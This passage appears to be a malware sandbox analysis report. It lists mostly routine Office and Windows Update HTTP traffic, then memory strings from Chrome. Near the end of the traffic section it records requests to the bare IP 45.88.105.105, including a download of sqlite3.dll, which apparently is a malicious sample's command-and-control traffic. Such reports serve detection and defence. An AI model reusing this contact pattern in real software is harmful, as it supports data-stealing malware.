Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EnhTzm5MnU6sXfe&MD=KPCKz7gC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.88.105.105Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /caf2400fcdb97982/sqlite3.dll HTTP/1.1Host: 45.88.105.105Cache-Control: no-cache

Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.2224130600.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224019115.0000614400F94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2223964655.0000614400FBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
